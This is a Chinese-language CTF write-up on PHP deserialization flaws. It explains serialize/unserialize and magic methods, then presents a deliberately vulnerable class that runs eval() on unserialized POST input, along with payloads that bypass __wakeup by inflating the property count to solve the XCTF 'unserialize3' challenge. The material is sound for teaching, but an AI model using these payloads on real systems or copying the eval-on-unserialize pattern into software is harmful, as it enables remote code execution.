在解这道题之前,首先非常感谢https://www.ajsafe.com/news/315.html这篇文章,给反序列化不太了解的我带来了启发,与借鉴,比如反序列化是什么,怎么形成反序列化漏洞等等
目录
反序列化漏洞(序列化←→反序列化)
什么是序列化(serialize)
将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将状态信息保存为字符串
什么是反序列化(unserialize)
将字符串转换为状态信息
PHP内的几个特殊魔术方法
__construct():当对象创建(new)时会自动调用,但在unserialize()时是不会自动调用的(构造函数)
__destruct():当对象操作执行完毕后自动执行destruct()函数的代码
__wakeup():unserialize()时自动调用
__call()方法当调用类实例中不存在的函数时自动执行
通过demo理解反序列化漏洞
如果将序列化理解为编码时,那么反序列化即为解码
举例解释:
下面这段代码为序列化,可以理解为编码
<?php
class test{
public $name = "f1r3K0";
public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
?>
O代表object(为A时代表Array),4代表"test"占4个字符长度,2代表着对象具有两个变量:name和age,s代表string,字符型(如果为i,代表int型)
下面这段代码为反序列化,可以理解为解码
<?php
class test{
public $name = "f1r3K0";
public $age = "18";
}
$class = new test();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);
?>
当使用unserialize()恢复对象时,将调用__weakup(),serialize()函数将表单内容序列化成一个字符串
通过某道CTF实际题目理解反序列化漏洞,与解题过程
<?php
highlight_file(_FILE_);
error_reporting(0);
class convent{
var $warn="No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v){
$this->$k=null;
}
}
}
$cmd=$_POST[cmd];
unserialize($cmd);
__destruct:对象操作执行完毕之后自动执行该函数内的代码
__wakeup:遇到unserialize()时自动触发
__wakeup是优先执行的,
优先级高于__destruct。
优先级演示证明:
<?php
header("Content-type:text/html;charset=utf-8");
class people{
public $namee='ganyu';
public $age='20';
function __destruct(){
echo"_destruct()";
echo"<br>";
}
function __wakeup(){
echo"_wakeup()";
echo"<br>";
}
}
$class=new people();
$class_ser=serialize($class);
$class_unser=unserialize($class_ser);
再回到之前的CTF题目就明白了,优先执行wakeup的内容,才执行destruct,由于wakeup时会将warn值进行过滤,变为null值,所以不能使wakeup执行
wakeup是当反序列化成功时,才会调用,那我们让它失败呢?其实只要让它失败,是不是就不会调用这个魔术方法了?
<?php
highlight_file(_FILE_);
error_reporting(0);
class convent{
var $warn="No hacker.";
function __destruct(){
eval($this->warn);
}
function __wakeup(){
foreach(get_object_vars($this) as $k => $v){
$this->$k=null;
}
}
}
$b=new convent();
$c=serialize($b);
echo $c;
?>
O:7:"convent":1:{s:4:"warn";s:10:"No hacker.";}
里面的值是不可修改的,但是可以修改的属性(变量)数大于实际的个数时,就可以绕过 wakeup
构造payload:O:7:"convent":2:{s:4:"warn";s:10:"No hacker.";}【其实就是将1改为2,目的达到随便改都行】
最后将构造的payload传入即可,当看到这里的时候,再回去看我们这道题就非常非常简单了
unserialize3解题
当看到这里的时候,那么恭喜你,这题对你来说只是单纯的__wakeup(),将构造的payload输入至?code后即可
首先将代码补全
<?php
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
}
$b=new xctf();
$c=serialize($b);
echo $c;
?>
输出
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
O代表object(为A时代表Array),4代表"test"占4个字符长度,2代表着对象具有两个变量:name和age,s代表string,字符型(如果为i,代表int型)
修改下,绕过即可
payload:O:4:"xctf":2:{s:4:"flag";s:3:"111";}
回车拿flag